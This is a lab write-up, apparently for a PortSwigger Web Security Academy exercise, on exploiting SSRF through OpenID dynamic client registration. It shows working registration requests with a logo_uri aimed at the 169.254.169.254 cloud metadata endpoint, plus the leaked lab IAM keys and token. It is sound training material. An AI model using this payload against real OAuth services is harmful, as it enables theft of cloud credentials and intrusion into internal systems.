> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/oauth-authentication/ssrf-via-openid-dynamic-client-registration.md).

# SSRF via OpenID Dynamic Client Registration

SSRF via OpenID Dynamic Client Registration notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### SSRF via OpenID Dynamic Client Registration

**Lab objective**

This lab operates a dynamic openID\*\* client recording feature. Some of the data provided by the client is used unsecured by the OAuth service, which opens the door to a **SSRF**.

The goal is to exploit this flaw to access the following internal endpoint and recover the secret **cloud access key** from the OAuth provider:

* `HTTP://169.254.169.254/latest/meta-data/iam/security-credentials/admin/`

**Initial access**

You can connect with a standard user account:

* **Identifier**: wiener
* **Password**: peter

**Discovery OpenID**

By analyzing the OAuth feed, we identify the standard OpenID configuration endpoint:

```bash
/.well-known/openid-configuration
```

This resource presents all the endpoints used by the OAuth supplier, including:

{% code overflow="wrap" %}

```json
{"authorization_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/auth","claims_parameter_supported":false,"claims_supported":["sub","name","email","email_verified","sid","auth_time","iss"],"code_challenge_methods_supported":["S256"],"end_session_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/session/end","grant_types_supported":["authorization_code","refresh_token"],"id_token_signing_alg_values_supported":["HS256","ES256","EdDSA","PS256","RS256"],"issuer":"https://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net","jwks_uri":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/jwks","registration_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/reg","response_modes_supported":["form_post","fragment","query"],"response_types_supported":["code"],"scopes_supported":["openid","offline_access","profile","email"],"subject_types_supported":["public"],"token_endpoint_auth_methods_supported":["none","client_secret_basic","client_secret_jwt","client_secret_post","private_key_jwt"],"token_endpoint_auth_signing_alg_values_supported":["HS256","RS256","PS256","ES256","EdDSA"],"token_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/token","request_object_signing_alg_values_supported":["HS256","RS256","PS256","ES256","EdDSA"],"request_parameter_supported":false,"request_uri_parameter_supported":true,"require_request_uri_registration":true,"userinfo_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/me","userinfo_signing_alg_values_supported":["HS256","ES256","EdDSA","PS256","RS256"],"introspection_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/token/introspection","introspection_endpoint_auth_methods_supported":["none","client_secret_basic","client_secret_jwt","client_secret_post","private_key_jwt"],"introspection_endpoint_auth_signing_alg_values_supported":["HS256","RS256","PS256","ES256","EdDSA"],"revocation_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/token/revocation","revocation_endpoint_auth_methods_supported":["none","client_secret_basic","client_secret_jwt","client_secret_post","private_key_jwt"],"revocation_endpoint_auth_signing_alg_values_supported":["HS256","RS256","PS256","ES256","EdDSA"],"claim_types_supported":["normal"]}
```

{% endcode %}

* `authorization_endpoint`
* `token_endpoint`
* `userinfo_endpoint`
* **`registration_endpoint`**

The key field here is:

```
/reg
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c94afa47c3620790818cb6b0324be8fe8dc9b51a%2Fimage%20(190).png?alt=media" alt=""><figcaption></figcaption></figure>

It allows dynamic registration of new customers.

```http
{
    "application_type": "web",
    "redirect_uris": [
        "https://client-app.com/callback",
        "https://client-app.com/callback2"
        ],
    "client_name": "My Application",
    "logo_uri": "https://client-app.com/logo.png",
    "token_endpoint_auth_method": "client_secret_basic",
    "jwks_uri": "https://client-app.com/my_public_keys.jwks",
    "userinfo_encrypted_response_alg": "RSA1_5",
    "userinfo_encrypted_response_enc": "A128CBC-HS256",
    …
}
```

**OAuth Client Registration**

A query is intercepted to `/reg` and converted into a **POST** query with the header:

```http
Content-Type: application/json
```

A minimum record works with a very simple JSON:

```json
{
    "redirect_uris": [
        "https://test.com"
        ]
}
```

The server responds by creating a new OAuth application and returns in particular:

* `client_id`
* `client_secret`
* `registration_client_uri`
* `registration_access_token`

This confirms that dynamic recording is active and not restrictive.

{% code overflow="wrap" %}

```json
{"application_type":"web","grant_types":["authorization_code"],"id_token_signed_response_alg":"RS256","post_logout_redirect_uris":[],"require_auth_time":false,"response_types":["code"],"subject_type":"public","token_endpoint_auth_method":"client_secret_basic","introspection_endpoint_auth_method":"client_secret_basic","revocation_endpoint_auth_method":"client_secret_basic","require_signed_request_object":false,"request_uris":[],"client_id_issued_at":1767127526,"client_id":"TL-B3vvYBc42Yju2-uZqV","client_secret_expires_at":0,"client_secret":"RVzHE-YNMkqwYdhd76jdL92wmVCNdV7Ir3z4QtEM3m2lptEEZJEbl-JxCuz7UogeAtpIFlxSqGp-GnHARBZBEQ","redirect_uris":["https://test.com"],"registration_client_uri":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/reg/TL-B3vvYBc42Yju2-uZqV","registration_access_token":"On2Y_5DyRBtlz4QPmRbTogHoSp8ihSvLTC_ntt6c6Vz"}
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-69609792054f039926a071a6b0ec017884f5efdd%2Fimage%20(191).png?alt=media" alt=""><figcaption></figcaption></figure>

**Injection SSRF via `logo_uri`**

The `logo_uri` field, designed to load an image associated with the client, is particularly interesting. / It is recovered on the server side without strict URL validation.

A new client is recorded with a `logo_uri` pointing to the AWS internal IP:

```json
{
  "redirect_uris": [
    "https://jord4n.pro"
  ],
  "logo_uri": "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"
}
```

The server accepts the request and returns a new `client_id`.

**Access to customer logo**

Each customer has an endpoint to recover his logo:

```
GET /client/<client_id>/logo
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-15e93ba0f3933b3d7ae29ef3f9b5298b54898977%2F%7BD3C517F5-2320-4859-AEC8-7754F14C4BBF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```http
GET /client/1767128152/logo
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cc1dee5b548f0d4c70c3ecd60fd1b651e0167edc%2Fimage%20(193).png?alt=media" alt=""><figcaption></figcaption></figure>

Using the `client_id` previously obtained:

```http
GET /client/4skHDyCgn9b1zvT-JBTin/logo
```

**Exfiltration of AWS metadata**

The answer does not contain an image, but directly the \*\* internal IAM credentials\*\*:

```json
{
  "Code" : "Success",
  "LastUpdated" : "2025-12-31T18:55:47.398604832Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "TKrZh1liWrDBDSltdlG9",
  "SecretAccessKey" : "pY0oqQBOuKYc77nrZrFHriyySRf12bPnf4EyBTd0",
  "Token" : "nGndN1NnGYkE6XEumqF4iZiD7qqa1VyOXSm5T6I7VRolft4b6Hc2zppqjZJFIhPJH0ZhTAYfoUe8edUbDvDkLjd0idSJlJggjp6BZAjEOqsSFHAZ9qBXUur878LdUfxk12joCYbDYYcpw0y5tHNIHx7sqZaEUlv0tukYqgVXwjweiVr2aahtizQl58akErD0kFUdqEe0YDhWwRigaSAKGdDsMKNOK5SX8iwpK8Vq6mBy45Xkrx4Xt4ZC8XPn6ulX",
  "Expiration" : "2031-12-30T18:55:47.398604832Z"
}
```

`SecretAccessKey` is the value expected to validate the lab.


---

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